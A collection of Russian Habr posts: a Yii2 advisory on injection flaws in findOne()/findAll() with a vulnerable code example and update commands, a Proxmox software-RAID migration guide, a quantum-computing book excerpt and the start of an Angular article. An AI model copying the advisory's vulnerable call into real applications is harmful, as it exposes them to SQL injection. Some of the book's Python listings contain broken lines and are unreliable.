* Методы `yii\db\ActiveRecord::findOne()` и `yii\db\ActiveRecord::findAll()` в пакете `yiisoft/yii2`, чему присвоен номер уязвимости CVE-2018-7269. Методы допускают [SQL инъекцию](https://en.wikipedia.org/wiki/SQL_injection), если входящие данные недостаточно отфильтрованы. Атакующий может выполнить произвольный SQL запрос или обойти условия фильтрации, установленные на уровне выполняемого запроса.
* Методы `yii\redis\ActiveRecord::findOne()` и `yii\redis\ActiveRecord::findAll()` в пакете `yiisoft/yii2-redis`, чему присвоем номер уязвимости CVE-2018-8073. Методы допускают [удалённое выполнение кода](https://en.wikipedia.org/wiki/Remote_code_execution) на сервере Redis в виде LUA скриптов. Атакующий может выполнять произвольный LUA код и изменять данные на стороне сервера.
* Методы `yii\elasticsearch\ActiveRecord::findOne()` и `yii\elasticsearch\ActiveRecord::findAll()` в пакете `yiisoft/yii2-elasticsearch`, чему присвоем номер уязвимости CVE-2018-8074. Методы допускают внедрение условий поиска, не предусмотренных разработчиком.
Уязвимо ли моё приложение?
--------------------------
Уязвимость касается всех релизов Yii2 и исправляется в версии 2.0.15. Для версий до 2.0.15 мы релизим два патч-обновления: 2.0.13.2 и 2.0.12.1, который применяют исправление к 2.0.13.1 и 2.0.12 соответственно. Пользователи версии 2.0.14 могут обновиться до версии 2.0.15, так как никаких других изменений в релизе не содержится.
Неуязвимый код
--------------
Методы `findOne()` и `findAll()` принимают один аргумент, который может быть скаляром или массивом. Если код, который вызывает этот метод гарантирует, что переданное значение – скалярно, или что структура передаваемого массива не может быть изменена снаружи — ваше приложение НЕуязвимо. Следующие примеры кода НЕ подвержены данной уязвимости. Примеры вызова `findOne()` также валидны и для метода `findAll()`.
```
// yii\web\Controller гарантирует, что $id – это скаляр
public function actionView($id)
{
$model = Post::findOne($id);
// ...
}
```
```
// приведение к числу (int) или строке (string) гарантирует, что массив не может быть передан в метод (будет выброшено исключение о невозможности преобразования массива в скаляр)
$model = Post::findOne((int) Yii::$app->request->get('id'));
```
```
// Явное указание имени столбца и передача скаляра или массива как значения не подвержены уязвимости
$model = Post::findOne(['id' => Yii::$app->request->get('id')]);
```
Уязвимый код
------------
Однако, следующий код – УЯЗВИМ, и атакующий может составить запрос, позволяющий выполнить поиск про произвольному столбцу, или даже SQL инъекцию:
```
$model = Post::findOne(Yii::$app->request->get('id'));
```
Данное обновление исправляет возможность внедрения SQL инъекции, но атакующий всё ещё может выполнить поиск по столбцам отличным от первичного ключа, что может нарушить бизнес-логику приложения.
Как получить обновление?
------------------------
Мы выпускаем обновление безопасности для трёх последних релизов Yii2: 2.0.14, 2.0.13 и 2.0.12. Если вы используете более старую версию фреймворка, вам необходимо обновить Yii хотя бы до ближайшей версии, в которой проблема исправлена.
Если вы используете Yii 2.0.14:
```
composer require "yiisoft/yii2":"~2.0.15.0"
```
Если вы используете Yii 2.0.13:
```
composer require "yiisoft/yii2":"~2.0.13.2"
```
Если вы используете Yii 2.0.12:
```
composer require "yiisoft/yii2":"~2.0.12.1"
```
Если вы используете расширение `yii2-redis`:
```
composer require "yiisoft/yii2-redis":"~2.0.8"
```
Если вы используете расширение `yii2-elasticsearch`:
```
composer require "yiisoft/yii2-elasticsearch":"~2.0.5"
```
Кроме обновления Yii, мы также рекомендуем проверить в вашем приложении код, который использует методы `findOne()` и `findAll()` на предмет возможности поиска по произвольному столбцу. Также напоминаем, что методы `where()` and `filterWhere()` никогда не экранируют имена столбцов, потому если вам необходимо использовать переменную, полученную от пользователя в виде названия столбца – убедитесь, что вы делаете это безопасно.
**UPD:** обновление сломало работу `ActiveRecord::refresh()` ([github](https://github.com/yiisoft/yii2/issues/15933)), потому были дополнительно выпущены патчи-исправления: [2.0.15.1](https://github.com/yiisoft/yii2/releases/tag/2.0.15.1), [2.0.13.3](https://github.com/yiisoft/yii2/releases/tag/2.0.13.2), [2.0.12.2](https://github.com/yiisoft/yii2/releases/tag/2.0.12.2) | https://habr.com/ru/post/351652/ | null | ru | null |
# Очередная миграция PROXMOX в softRAID1, но теперь уже 3.2 и на GPT-разделах, установка FreeNAS 9.2 на виртуальную машину и проброс в него физического диска
Здравствуйте!
В очередной раз мне понадобился сервер Proxmox. Железо следующее: **AMD** FX-4300, 4Gb, два диска 500Gb для самого proxmox и еще два для хранилища. Задачи слоял следующие: одна из машин FreeNAS, в нее хотелось пробросить несколько дисков (желательно физических), что бы на них разместить хранилище, и еще несколько ВМ не относящихся к статье.
У меня есть фишечка всегда пытаться ставить самые последнии версии, а не проверенные старые. Так произошло и в этот раз.
Скачал Proxmox VE 3.2 и FreeNAS 9.2. А вот что из этого получилось под катом.
Установив в очередной раз Proxmox (последнюю на данный момент версию 3.2) решил перевести его на SoftRAID1. Но обнаружил, что в отличии от 3.0, он (proxmox) преобразовал диск в GPT. Соответственно рекомендации в [статье](http://habrahabr.ru/post/186818/) на которую я ориентировался не совсем актуальны. К тому же во всех статьях о переводе Proxmox в SoftRAID речь идет только о двух разделах (boot и LVM). В моем же случае разделов на диске было 3. Первый GRUB, а затем уже стандартные boot и LVM.
Это не должно нас остановить.
#### Перевод proxmox на softRAID на GPT разделах
Идем стандартным путем и ставим все необходимое ПО. И тут нас ждет еще один сюрприз связанный с тем, что с версии 3.1 репозиторий у Proxmox стал платным. Поэтому перед установкой нужных пакетов его нужно отключить (возможно, правильнее указать вместо него бесплатный тестовый репозитарий, но у меня получилось и просто закомментировать платный). Откройте его в любом редакторе
```
# nano /etc/apt/sources.list.d/pve-enterprise.list
```
и закомментируйте единственную строку.
Если вы все же хотите добавить бесплатный репозитарий, то выполните команду:
```
echo "deb http://download.proxmox.com/debian wheezy pve pve-no-subscription" >> /etc/apt/sources.list.d/proxmox.list
```
Спасибо [heathen](http://habrahabr.ru/users/heathen/) за его комментарий.
Теперь ставим необходимые пакеты:
```
# aptitude update && aptitude install mdadm initramfs-tools screen
```
последний нужен если вы проделываете это удаленно. Перенос LVM в RAID длится долго и желательно это делать через screen.
Проверяем что создание массивов теперь доступно:
```
# modprobe raid1
```
Далее мы копируем разделы с sda на sdb. Вот тут то и начинаются отличия в MBR и GPT. Для GPT это делается так:
```
# sgdisk -R /dev/sdb /dev/sda
The operation has completed successfully.
```
Присвоим новому жесткому диску случайный UUID.
```
# sgdisk -G /dev/sdb
The operation has completed successfully.
# sgdisk --randomize-guids --move-second-header /dev/sdb
The operation has completed successfully.
```
Проверим что разделы созданы так как мы хотели:
| диск sda | диск sdb |
| --- | --- |
|
```
# parted -s /dev/sda print
Model: ATA WDC WD5000AAKS-0 (scsi)
Disk /dev/sda: 500GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Number Start End Size File system Name Flags
1 1049kB 2097kB 1049kB primary bios_grub
2 2097kB 537MB 535MB ext3 primary boot
3 537MB 500GB 500GB primary lvm
```
|
```
# parted -s /dev/sdb print
Model: ATA ST3500320NS (scsi)
Disk /dev/sdb: 500GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Number Start End Size File system Name Flags
1 1049kB 2097kB 1049kB primary bios_grub
2 2097kB 537MB 535MB primary boot
3 537MB 500GB 500GB primary lvm
```
|
Меняем флаги разделов sdb2 и sdb3 на raid:
```
# parted -s /dev/sdb set 2 "raid" on
# parted -s /dev/sdb set 3 "raid" on
# parted -s /dev/sdb print
Model: ATA ST3500320NS (scsi)
Disk /dev/sdb: 500GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Number Start End Size File system Name Flags
1 1049kB 2097kB 1049kB primary bios_grub
2 2097kB 537MB 535MB primary raid
3 537MB 500GB 500GB primary raid
```
Все получилось правильно.
Идем дальше и на всякий случай очищаем суперблоки:
```
# mdadm --zero-superblock /dev/sdb2
mdadm: Unrecognised md component device - /dev/sdb2
# mdadm --zero-superblock /dev/sdb3
mdadm: Unrecognised md component device - /dev/sdb3
```
Вывод «mdadm: Unrecognised md component device — /dev/sdb3» означает, что диск не участвовал в RAID.
Собственно, пора создавать массивы:
```
# mdadm --create /dev/md1 --level=1 --raid-disks=2 missing /dev/sdb2
mdadm: Note: this array has metadata at the start and
may not be suitable as a boot device. If you plan to
store '/boot' on this device please ensure that
your boot-loader understands md/v1.x metadata, or use
--metadata=0.90
Continue creating array? y
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md1 started.
# mdadm --create /dev/md2 --level=1 --raid-disks=2 missing /dev/sdb3
mdadm: Note: this array has metadata at the start and
may not be suitable as a boot device. If you plan to
store '/boot' on this device please ensure that
your boot-loader understands md/v1.x metadata, or use
--metadata=0.90
Continue creating array? y
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md2 started.
```
На вопрос «Продолжить создание массива?» отвечаем утвердительно.
Посмотрим, что у нас получилось:
```
# cat /proc/mdstat
Personalities : [raid1]
md2 : active raid1 sdb3[1]
487731008 blocks super 1.2 [2/1] [_U]
md1 : active raid1 sdb2[1]
521920 blocks super 1.2 [2/1] [_U]
```
В выводе видно состояние массивов — [\_U]. Это обозначает, что в массиве есть лишь один диск. Так и должно быть, ведь второй (первый) мы в массив еще не включили. (missing).
Добавляем информацию о массивах в конфигурационный файл:
```
# cp /etc/mdadm/mdadm.conf /etc/mdadm/mdadm.conf_orig
# mdadm --examine --scan >> /etc/mdadm/mdadm.conf
```
Скопируем раздел boot на соответствующий массив. (Добавил здесь команды отмонтирования раздела. Спасибо за информацию пользователю [skazkin](http://habrahabr.ru/users/skazkin/). Его опыт показал, что в некоторых случаях без этих действий может раздел boot оказаться пустым после перезагрузки):
```
# mkfs.ext3 /dev/md1
mke2fs 1.42.5 (29-Jul-2012)
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
Stride=0 blocks, Stripe width=0 blocks
130560 inodes, 521920 blocks
26096 blocks (5.00%) reserved for the super user
First data block=1
Maximum filesystem blocks=67633152
64 block groups
8192 blocks per group, 8192 fragments per group
2040 inodes per group
Superblock backups stored on blocks:
8193, 24577, 40961, 57345, 73729, 204801, 221185, 401409
Allocating group tables: done
Writing inode tables: done
Creating journal (8192 blocks): done
Writing superblocks and filesystem accounting information: done
# mkdir /mnt/md1
# mount /dev/md1 /mnt/md1
# cp -ax /boot/* /mnt/md1
# umount /mnt/md1
# rmdir /mnt/md1
```
Далее нам нужно закоментировать в /etc/fstab строку описывающую монтирование boot-раздела с UUID и пропишем монтирование соответствующего массива:
```
# nano /etc/fstab
```
```
#
/dev/pve/root / ext3 errors=remount-ro 0 1
/dev/pve/data /var/lib/vz ext3 defaults 0 1
# UUID=d097457f-cac5-4c7f-9caa-5939785c6f36 /boot ext3 defaults 0 1
/dev/pve/swap none swap sw 0 0
proc /proc proc defaults 0 0
/dev/md1 /boot ext3 defaults 0 1
```
Должно получиться примерно так.
Перезагружаемся:
```
# reboot
```
Настраиваем GRUB (делаем это абсолютно так же как и в оригинальной [статье](http://habrahabr.ru/post/186818/)):
```
# echo 'GRUB_DISABLE_LINUX_UUID=true' >> /etc/default/grub
# echo 'GRUB_PRELOAD_MODULES="raid dmraid"' >> /etc/default/grub
# echo 'GRUB_TERMINAL=console' >> /etc/default/grub
# echo raid1 >> /etc/modules
# echo raid1 >> /etc/initramfs-tools/modules
```
Переустанавливаем GRUB:
```
# grub-install /dev/sda --recheck
Installation finished. No error reported.
# grub-install /dev/sdb --recheck
Installation finished. No error reported.
# update-grub
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-2.6.32-27-pve
Found initrd image: /boot/initrd.img-2.6.32-27-pve
Found memtest86+ image: /memtest86+.bin
Found memtest86+ multiboot image: /memtest86+_multiboot.bin
done
# update-initramfs -u
update-initramfs: Generating /boot/initrd.img-2.6.32-27-pve
```
Теперь добавим раздел boot с первого (sda) диска в массив. Сначала пометим его флагом «raid»:
```
# parted -s /dev/sda set 2 "raid" on
```
А затем и добавим:
```
# mdadm --add /dev/md1 /dev/sda2
mdadm: added /dev/sda2
```
Если посмотреть теперь состояние массивов:
```
# cat /proc/mdstat
Personalities : [raid1]
md2 : active (auto-read-only) raid1 sdb3[1]
487731008 blocks super 1.2 [2/1] [_U]
md1 : active raid1 sda2[2] sdb2[1]
521920 blocks super 1.2 [2/2] [UU]
unused devices:
```
то мы увидим, что md1 стал «двухдисковым» — [UU]
Теперь нужно перенести основной раздел — LVM. Тут нет никаких отличий от «оригинала», за исключением другой нумерации разделов и:
```
# screen bash
# pvcreate /dev/md2
Writing physical volume data to disk "/dev/md2"
Physical volume "/dev/md2" successfully created
# vgextend pve /dev/md2
Volume group "pve" successfully extended
# pvmove /dev/sda3 /dev/md2
/dev/sda3: Moved: 2.0%
...
/dev/sda3: Moved: 100.0%
# vgreduce pve /dev/sda3
Removed "/dev/sda3" from volume group "pve"
# pvremove /dev/sda3
```
Здесь, так же по рекомендации [skazkin](http://habrahabr.ru/users/skazkin/) добавил команду pvremove. Без нее (опять таки не всегда) может появиться другая проблема:
> система не поймет что произошло с дисками и не загрузится дальше initramfs-консоли
Добавляем раздел sda3 в массив:
```
# parted -s /dev/sda set 3 "raid" on
# mdadm --add /dev/md2 /dev/sda3
mdadm: added /dev/sda3
# cat /proc/mdstat
Personalities : [raid1]
md2 : active raid1 sda3[2] sdb3[1]
487731008 blocks super 1.2 [2/1] [_U]
[>....................] recovery = 0.3% (1923072/487731008) finish=155.4min speed=52070K/sec
md1 : active raid1 sda2[2] sdb2[1]
521920 blocks super 1.2 [2/2] [UU]
unused devices:
```
и видим, что он добавляется.
Так как я действую по оригинальной [статье](http://habrahabr.ru/post/186818/), то я пошел наливать кофе.
После того, как массив перестроиться (а тоже дело не быстрое), можно считать эту часть завершенной.
Для тех, кто как и я не понял почему на этом **все**, объясняю. Т.к. LVM том мы фактически перенесли с одного блочного устройства на другое, то и прописывать его не требуется (как это было с boot). Я на какое-то время застопорился на этом месте.
#### FreeNAS 9.2 на процессорах AMD
Следующим моим шагом была установка FreeNAS версии 9.2 на proxmox. Долго мучался. Пока не попробовал поставить из того же образа (FreeNAS 9.2) на другом proxmox-сервере. Он немного отличается от описываемого в статье: во-первых он на Core i7, во-вторых proxmox 3.1. И там это естественно встало на счет раз. Т.е. проблема либо в AMD (нет такого точно не может быть), либо в том, что в proxmox 3.2 поломали поддержку FreeBSD9 (бррр). Долго копал. Потом начал экспериментировать сам. В итоге все таки AMD. Что уж у них там за проблема, но как только я выставил в свойствах ВМ тип процессора Core 2 Duo FreeNAS 9.2 установился без проблем.
#### Проброс физического диска в KVM (proxmox)
Долго искал ответ на это вопрос на просторах Сети, но находил лишь обрывки. Может кто-то и по ним может сразу понять, что и как, но не я.
В общем делается это так (с консоли):
```
# nano /etc/pve/nodes/proxmox/qemu-server/100.conf
```
и добавляете в конце строку:
```
virtio0: /dev/sdc
```
где sdc — это ваше устройство. Далее можно через запятую указать прочие параметры (их можно посмотреть в wiki proxmox'а).
Вот и все. Правда не знаю насколько такое подключение поднимает (или опускает) скорость дисковых операций. Тесты у меня еще впереди. | https://habr.com/ru/post/218757/ | null | ru | null |
# Книга «Разработка с использованием квантовых компьютеров»
[](https://habr.com/ru/company/piter/blog/488046/)Привет, Хаброжители! Квантовые вычисления не просто меняют реальность! Совершенно новая отрасль рождается на наших глазах, чтобы создать немыслимое ранее и обесценить некоторые достижения прошлого. В этой книге рассмотрены наиболее важные компоненты квантового компьютера: кубиты, логические вентили и квантовые схемы, а также объясняется отличие квантовой архитектуры от традиционной. Вы сможете бесплатно экспериментировать с ними как в симуляторе, так и на реальном квантовом устройстве с применением IBM Q Experience.
Вы узнаете, как выполняются квантовые вычисления с помощью QISKit (программный инструментарий для обработки квантовой информации), Python SDK и других API, в частности QASM.
Наконец, вы изучите современные квантовые алгоритмы, реализующие запутанность, генерацию случайных чисел, линейный поиск, факторизацию целых чисел и др. Разберетесь с состояниями Белла, описывающими запутанность, алгоритмом Гровера для линейного поиска, алгоритмом Шора для факторизации целых чисел, алгоритмами оптимизации и многим другим.
Вы научитесь: • Удаленно запускать программы, пользуясь Q Experience REST API. • Писать алгоритмы, обеспечивающие высочайшую производительность по сравнению с аналогами для традиционных компьютеров. • Создавать REST-клиент на Node.js для аутентификации, прослушивания удаленных устройств, запроса информации о квантовых процессорах, удаленного контроля и запуска экспериментов в облаке. • Использовать квантовую телепортацию. Воспользовавшись классическими вычислениями и квантовой запутанностью между отправителем и получателем, передавать точное состояние кубита (квантовой информации). • Программировать и играть в квантовый вариант «Морского боя». • Использовать Q Experience Composer для создания визуальных программ/экспериментов.
### Отрывок. Теория игр: с квантовой механикой преимущество всегда на вашей стороне
В этой главе исследуются две игровые загадки, которые демонстрируют впечатляющее превосходство квантовых алгоритмов в сравнении с их классическими аналогами.
* Загадка про фальшивую монету. Это классическая задача на взвешивание, предложенная математиком Е. Д. Шеллом в 1945 году. В ней нужно при помощи лабораторных весов за ограниченное число взвешиваний определить монету, вес которой отличается от веса других (фальшивую).
* Магический квадрат Мермина — Переса. Это пример квантовой псевдотелепатии, или способности игроков достигать результатов, которые возможны, только если они во время игры читают мысли друг друга.
В обоих случаях квантовые вычисления наделяют игроков псевдомагическими способностями, как если бы они все время жульничали. Давайте посмотрим, как это происходит.
### Загадка про фальшивую монету
У игрока есть восемь монет и лабораторные весы. Одна из монет фальшивая и поэтому весит меньше остальных. Вы можете найти ее? Давайте вкратце рассмотрим решение, которое показано на рис. 7.1.
1. Положите монеты 1–3 на левую чашу весов, а 4–6 — на правую. Отложите на время монеты 7 и 8.
2. Если перевесила правая чаша весов, то фальшивая — среди монет 1–3 (слева). Помните, что поддельная монета легче. Затем уберите монету 3 и положите на левую чашу весов монету 1, а на правую — монету 2.
* Если перевешивает правая чаша, то фальшивая — монета 1.
* Если перевешивает левая чаша, то фальшивая — монета 2.
* Если весы уравновесились, то фальшивая — монета 3.
3. Если перевесила левая чаша весов, то фальшивая — среди монет 4–6. Уберите монету 6 и положите на левую чашу весов монету 4, а на правую — монету 5.
* Если перевешивает правая чаша, то фальшивая — монета 4.
* Если перевешивает левая чаша, то фальшивая — монета 5.
* Если весы уравновесились, то фальшивая — монета 6.
4. Если весы уравновесились, то фальшивая монета либо 7, либо 8. Положите на левую чашу весов монету 7, а на правую — монету 8 и взвесьте.
* Если перевешивает правая чаша, то фальшивая — монета 7.
* Если перевешивает левая чаша, то фальшивая — монета 8.
Классический алгоритм можно реализовать вне зависимости от общего числа монет N и количества фальшивых монет k. В целом временная сложность для обобщенной задачи о поддельной монете составляет O(k log(N/k)).
> ПРИМЕЧАНИЕ
>
> Было доказано, что для обнаружения одной фальшивой монеты при помощи лабораторных весов на классическом компьютере нужны минимум две попытки.
### Квантовый способ решения
Хотите верьте, хотите нет, но существует квантовый алгоритм, который может найти фальшивую монету за одно квантовое взвешивание вне зависимости от количества монет N! Вообще говоря, для любого количества фальшивых монет k независимо от N временная сложность такого алгоритма составляет 
> ПРИМЕЧАНИЕ
>
> Квантовый алгоритм определения фальшивой монеты является примером ускорения четвертой степени по сравнению с его классическим аналогом.
Так, на рис. 7.2 показано превосходство квантового алгоритма над классическим аналогом при решении загадки про фальшивую монету. Рассмотрим его подробнее. Квантовый алгоритм поиска одной фальшивой монеты  можно разделить на три этапа: запрос к квантовым весам, создание квантовых весов и определение фальшивой монеты.
### Шаг 1. Запрос к квантовым весам
Квантовый алгоритм будет выполнять запрос к квантовым весам в суперпозиции. Чтобы сделать это, используем бинарную строку запроса для кодирования монет на чашах весов. Например, строка запроса 11101111 означает, что на весах лежат все монеты, кроме монеты с индексом 3. Весы уравновешены, если нет ни одной фальшивой монеты, и наклонены в ином случае. Это проиллюстрировано в следующей таблице.
Алгоритм действий следующий.
1. Использовать два квантовых регистра для запроса к квантовым весам, где первый регистр предназначен для строки запроса, а второй — для результата.
2. Подготовить суперпозицию всех бинарных строк запроса с четным количеством единиц.
3. Для получения суперпозиции состояний с четным количеством единиц выполнить преобразование Адамара в базисном состоянии и проверить, является ли вес Хэмминга для |x| четным. Может быть показано, что вес Хэмминга для |x| является четным тогда и только тогда, когда x1 ⊕ x2 ⊕ … ⊕ xN = 0.
> ПРИМЕЧАНИЕ
>
> Вес Хэмминга (hw) строки — это количество символов, отличных от нулевого символа используемого алфавита. Например, hw(11101) = 4, hw(11101000) = 4, hw(000000) = 0.
4. Наконец, измерить второй регистр. Если наблюдается состояние , то первый регистр является суперпозицией всех желаемых бинарных строк запроса. Если получено , то нужно повторять процедуру, пока не будет наблюдаться состояние 
Обратите внимание, что при каждом повторе вероятность успеха составляет точно 0,5. Однако после нескольких повторов мы сможем получить желаемую суперпозицию состояний. В листинге 7.1 показана реализация квантовой программы для запроса к весам, а соответствующая графическая схема приведена на рис. 7.3.
> ПРИМЕЧАНИЕ
>
> Для упрощения восприятия программа определения фальшивой монеты разбита на листинги 7.1–7.3. Хотя я рассчитываю, что вы сможете объединить эти листинги для запуска программы, полный код есть в исходниках в файле `Workspace\Ch07\p_counterfeitcoin.py`.
Листинг 7.1. Скрипт запроса к квантовым весам
```
# ------- Запрос к квантовым весам
Q_program = QuantumProgram()
Q_program.set_api(Qconfig.APItoken, Qconfig.config["url"])
# Создание numberOfCoins +1 квантовых/классических регистров
# Один дополнительный кубит для запоминания результата
# квантовых весов
qr = Q_program.create_quantum_register("qr", numberOfCoins + 1)
# для запоминания измерения на qr
cr = Q_program.create_classical_register("cr", numberOfCoins + 1)
circuitName = "QueryStateCircuit"
circuit = Q_program.create_circuit(circuitName, [qr], [cr])
N = numberOfCoins
# Создание равновзвешенной суперпозиции всех строк длиной N
for i in range(N):
circuit.h(qr[i])
# Выполнение XOR(x) с последовательным применением вентилей CNOT с qr[0]
# по qr[N–1] и сохранением результата в qr[N]
for i in range(N):
circuit.cx(qr[i], qr[N])
# Измерение qr[N] и сохранение результата в cr[N]. продолжить,
# если cr[N] равен нулю, в противном случае повторить измерение
circuit.measure(qr[N], cr[N])
# Сделать запрос к квантовым весам, если значение нулевое для всех
# cr[0]...cr[N], подготовив состояние вентиля Адамара |1>,
# то есть |0> - |1> в qr[N]
circuit.x(qr[N]).c_if(cr, 0)
circuit.h(qr[N]).c_if(cr, 0)
# повторить заново вычисление при ненулевом cr[N]
for i in range(N):
circuit.h(qr[i]).c_if(cr, 2**N)
```
На рис. 7.3 приведена полная схема для загадки о фальшивой монете с восемью монетами и одной фальшивой с индексом 6. На ней показаны все описанные здесь этапы для платформы IBM Q Experience. Второй этап алгоритма — создание весов.
### Шаг 2. Создание квантовых весов
В предыдущем разделе мы создали суперпозицию всех бинарных строк запроса, у которых вес Хэмминга четный. На данном шаге создаем квантовый балансир, устанавливая позицию фальшивой монеты. Таким образом, если k — позиция фальшивой монеты относительно бинарной строки  то квантовые весы вернут:
Это реализовано с помощью вентиля CNOT с xk в качестве управляющего кубита и второго регистра в качестве целевого (см. листинг 7.2).
Листинг 7.2. Создание квантовых весов
```
#----- Создать квантовые весы
k = indexOfFalseCoin
# Применить квантовые весы к желаемой суперпозиции состояний
# (помеченной как cr, равное нулю)
circuit.cx(qr[k], qr[N]).c_if(cr, 0)
```
### Шаг 3. Определение фальшивой монеты
Чтобы выявить фальшивую монету после запроса к весам, примените преобразование Адамара к бинарной строке запроса. Предполагается, что мы делаем запрос к квантовым весам с бинарными строками с четным весом Хэмминга, поэтому, выполнив измерение в вычислительном базисе после преобразования Адамара, можем определить фальшивую монету, так как только ее метка отличается от меток большинства (см. листинг 7.3).
Листинг 7.3. Определение фальшивой монеты
```
# --- Определение фальшивой монеты
# Применение преобразования Адамара к qr[0] ... qr[N-1]
for i in range(N):
circuit.h(qr[i]).c_if(cr, 0)
# Измерение qr[0] ... qr[N–1]
for i in range(N):
circuit.measure(qr[i], cr[i])
results = Q_program.execute([circuitName], backend=backend, shots=shots)
answer = results.get_counts(circuitName)
print("Device " + backend + " counts " + str(answer))
# Получение наиболее часто встречающейся метки
for key in answer.keys():
normalFlag, _ = Counter(key[1:]).most_common(1)[0]
for i in range(2,len(key)):
if key[i] != normalFlag:
print("False coin index is: ", len(key) - i - 1)
```
Когда крайний слева бит равен 0, индекс фальшивой монеты можно определить, если найти ту, чей вес отличается от веса остальных. Например, при N = 8 и индексе фальшивой монеты 6 результат должен быть 010111111 или 001000000. Обратите внимание на то, что, поскольку мы используем cr[N] для управления операцией до начала и после запроса к весам:
* если крайний слева бит равен 0, то мы успешно определили фальшивую монету;
* если крайний слева бит равен 1, то мы не получили желаемой суперпозиции и должны повторить процесс сначала.
При запуске программы на удаленном моделирующем устройстве IBM Q Experience будет получен результат, приведенный в исходниках книги `Workspace\Ch07\p_counterfeitcoin.py`. Обратите внимание, что я использую Windows:
`c:\python36-64\python.exe p_counterfeitcoin.py
Device ibmq_qasm_simulator counts {'001000000': 1}
False coin index is: 6`
Если у вас нет доступа к исходникам книги, но вы все равно хотите поэкспериментировать с этим скриптом, то поместите отрывки кода из предыдущих разделов в скрипт-контейнер из листинга 7.4 (проверьте отступы, эта особенность синтаксиса Python просто сводит с ума).
Листинг 7.4. Основной скрипт-контейнер для загадки про фальшивую монету
```
import sys
import matplotlib.pyplot as plt
import numpy as np
from math import pi, cos, acos, sqrt
from collections import Counter
from qiskit import QuantumProgram
sys.path.append('../Config/')
import Qconfig
# Импорт основных средств для вывода графики
import basic plot tools
from qiskit.tools.visualization import plot_histogram
def main(M = 16, numberOfCoins = 8 , indexOfFalseCoin = 6
, backend = "local_qasm_simulator" , shots = 1 ):
if numberOfCoins < 4 or numberOfCoins >= M:
raise Exception("Please use numberOfCoins between 4 and ", M-1)
if indexOfFalseCoin < 0 or indexOfFalseCoin >= numberOfCoins:
raise Exception("indexOfFalseCoin must be between 0 and ",
numberOfCoins-1)
// Вставьте листинги 7.1–7.3 сюда
#################################################
# main
#################################################
if __name__ == '__main__':
M = 8 # Максимальное количество доступных кубитов
numberOfCoins = 4 # До M-1, где M — количество доступных кубитов
indexOfFalseCoin = 2 # Должен быть 0, 1... numberOfCoins — 1
backend = "ibmq_qasm_simulator"
#backend = "ibmqx3"
shots = 1 # Мы проводим эксперимент с одним запуском
main(M, numberOfCoins, indexOfFalseCoin, backend, shots)
```
### Обобщенный алгоритм для любого количества фальшивых монет
Для загадки про фальшивую монету математики Терхал и Смолин в 1998 году создали обобщенный алгоритм для любого количества фальшивых монет (k > 1). В их реализации используется модель «Б-оракул» («балансный оракул»), при этом:
* на вход поступает 
* создается строка запроса, состоящая из N троек таких битов, что с одинаковым количеством 1 и –1;
* ответом является один такой бит, что
> ПРИМЕЧАНИЕ
>
> Оракул является частью алгоритма, рассматриваемой как черный ящик. Он используется для упрощения схем и сравнения сложности квантовых и классических алгоритмов. Хороший оракул должен быть быстрым, универсальным и легко реализуемым.
Пример применения Б-оракула для двух фальшивых монет с k = 2 и N = 6 приведен на рис. 7.4.
В общем, загадка о фальшивой монете — типичный пример ускорения квантового алгоритма по сравнению с классическим аналогом. В следующем разделе рассмотрим еще одну своеобразную псевдомагическую головоломку под названием «магический квадрат Мермина — Переса».
### Об авторе
**Владимир Сильва** окончил Государственный университет Мидл Теннесси (Middle TN State University), получив диплом магистра в области Computer Science. На протяжении пяти лет он работал в IBM инженером-исследователем (Research Engineer), где приобрел богатый опыт в распределенных и GRID-вычислениях.
У Владимира есть множество сертификатов, в том числе OCP (Oracle Certified Professional), MCSD (Microsoft Certified Solutions Developer) и MCP (Microsoft Certified Professional). Кроме того, он является автором большого количества технических статей для сайта IBM developerWorks. Он написал следующие книги: Grid Computing for Developers (Charles River Media), Practical Eclipse Rich Client Platform (Apress), Pro Android Games (Apress) и Advanced Android 4 Games (Apress).
Владимир — заядлый марафонец, участвовал в 16 забегах в штате Северная Каролина (на момент написания книги). Любит играть на классической гитаре и размышлять о таких удивительных вещах, как квантовая механика.
### О научных редакторах
*Оригинальное издание*
**Джейсон Уайтхорн** — опытный предприниматель и разработчик программного обеспечения. Он помог многим нефтегазовым компаниям автоматизировать и усовершенствовать их технологии с помощью сбора эксплуатационных данных, SCADA (Supervisory Control and Data Acquisition — диспетчерское управление и сбор данных) и машинного обучения. Джейсон окончил Арканзасский государственный университет (Arkansas State University), получив диплом бакалавра в области Computer Science.
Свободное время Джейсон любит проводить со своей женой и четырьмя детьми. Живет в Талсе, штат Оклахома. Больше информации о Джейсоне можно найти на его сайте [jason.whitehorn.us](https://jason.whitehorn.us).
*Русскоязычное издание*
**Михаил Коробко** — физик, занимается теорией и экспериментами по применению методов квантовой оптики, оптомеханики и квантовых измерений для улучшения чувствительности гравитационно-волновых детекторов. С 2012 года состоит в международной коллаборации ученых гравитационно-волнового детектора LIGO.
Михаил закончил физический факультет МГУ им. Ломоносова, в настоящий момент является аспирантом Института лазерной физики в университете Гамбурга. Свободное время он проводит с семьей, пишет научно-популярные статьи о квантовой физике и публикует посты в «Твиттере» (@hbar\_universe).
» Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/new/product/razrabotka-s-ispolzovaniem-kvantovyh-kompyuterov?_gs_cttl=120&gs_direct_link=1&gsaid=42817&gsmid=29789&gstid=c)
» [Оглавление](https://storage.piter.com/upload/contents/978544611429/978544611429_X.pdf)
» [Отрывок](https://storage.piter.com/upload/contents/978544611429/978544611429_p.pdf)
Для Хаброжителей скидка 25% по купону — **Силва**
По факту оплаты бумажной версии книги на e-mail высылается электронная книга. | https://habr.com/ru/post/488046/ | null | ru | null |
# Динамический рендеринг компонентов в Angular 2
Вступительное слово
===================
В процессе работы над проектом на Angular 2 с использованием карт возникла следующая задача: требуется срендерить свой ангуляровский компонент в стандартный popup leaflet’а. В данной статье динамический рендеринг компонентов будет рассмотрен в разрезе именно этой задачи, однако аналогичным образом можно использовать эту информацию в собственных кейсах.
Постановка задачи
=================
